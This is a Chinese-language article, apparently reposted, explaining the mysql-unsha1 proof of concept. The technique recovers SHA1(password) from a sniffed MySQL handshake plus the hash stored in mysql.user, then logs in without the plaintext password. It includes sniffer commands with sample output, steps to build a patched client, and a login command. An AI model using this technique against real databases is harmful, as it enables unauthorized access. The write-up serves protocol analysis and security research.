1. 程式人生 > >mysql-unsha1:在未知密碼情況下,登入任意MYSQL資料庫

mysql-unsha1:在未知密碼情況下,登入任意MYSQL資料庫

摘要

這個POC用於在不知道明文密碼的情況下對啟用了密碼安全認證外掛(預設開啟外掛:mysql_native_password)的MYSQL資料庫進行登入。

前提條件為:

 

1.為了獲取到已知使用者的hash,我們需要讀取到目標資料庫中的mysql.user表。
2.能夠攔截到上述已知使用者執行成功的認證資訊(即通過SSL認證無法攻擊成功)。

注意:這並不是MYSQL的一個漏洞,只是認證協議工作的直接後果。如果攻擊者已經滿足了上面兩個前提,那麼整個系統應該是已經被攻破了。則這篇文章只是對MYSQL伺服器獲取許可權的另外一種思路。

MySQL伺服器密碼

在預設情況下,所有密碼應該是存放在資料庫中的mysql.user表中,並且使用PASSWORD()方法對密碼進行兩次SHA1摘要。

 

mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

握手認證

下方公式不能直接在mysql的客戶端使用sha1進行計算,具體原因不明,但是使用java程式碼是可以得到想要的結果的。

 

客戶端傳送TCP連線資訊之後,MYSQL握手認證的簡化步驟大致如下:
1. 服務端傳送一個包含鹽(s)的資料包
2. 客戶端迴應一個包含處理過後的密碼(x)的登入請求,密碼加密演算法為:

 

x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))

其中password是使用者提供的,"+"是將字串連結起來。
3. 如果滿足下面等式,服務端會確認登入成功:

 

SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))

其中SHA1(SHA1(password))是對密碼進行兩次SHA1摘要,然後儲存到mysql.user表中。並且服務端並不知道密碼以及它的SHA1摘要是什麼。

漏洞利用

攻擊者已經能夠獲得SHA1(password),因此我們可以在不知道明文的密碼情況下對服務端進行欺騙。

步驟如下:

 

1.將h設定為我們在mysql.user表中得到的經過編碼的password。
2.s和x是我們通過攔截通訊得到的鹽和經過處理的密碼。

所以,第一步對密碼進行的SHA1可以表示為:

 

SHA1(password) = x XOR SHA1(s + h)

攻擊工具

為了可以更加方便的利用這個漏洞,為這個PoC提供了兩個利用工具:

 

1.一個簡單的嗅探器,用於從PCAP檔案中提取和檢查實時或離線的握手資訊;
2.允許將登入的密碼設定為SHA1摘要,而不是明文密碼的補丁.

嗅探器

安裝mysql-unsha1-sniff只需要執行make命令(或者使用make static生成一個靜態連結可執行檔案)。Makefile將在此目錄下查詢uthash.h檔案,如果不存在,就去下載它。

執行不帶引數的mysql-unsha1-sniff,將顯示用法。

例子:

 

sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root

一旦成功抓到握手認證資訊,資料會像下面一樣:

 

[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK

如果沒有提供帳戶資訊,工具將僅顯示salt和會話密碼。

mysql客戶端補丁

搭建mysql客戶端需要一些時間,並且確保您的磁碟有足夠的空間。

1下載並且解壓MySQL原始碼:

 

wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
tar xf mysql-5.7.17.tar.gz
cd mysql-server-mysql-5.7.17

2.安裝補丁

 

patch -p1 </path/to/mysql-server-unsha1.patch

3.編譯:

 

mkdir build
cd build
cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
make -j$(nproc)

4.客戶端檔案將在client/mysql資料夾中產生,設定環境變數。安裝完成之後刪除原始碼節省重空間。

 

sudo cp client/mysql /usr/local/bin/mysql-unsha1
cd ../..
rm -fr mysql-server-mysql-5.7.17

使用mysql-unsha1作為原始的MySQL客戶端,並且只需要瞭解–password[=password], -p[password]選項需要一個長度為40的SHA1摘要。

使用前面獲取到的SHA1進行登入:

 

mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8

其中:

 

mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

2470c0c06dee42fd1618bb99005adca2ec9d1e19是在mysql.user表裡面的密碼。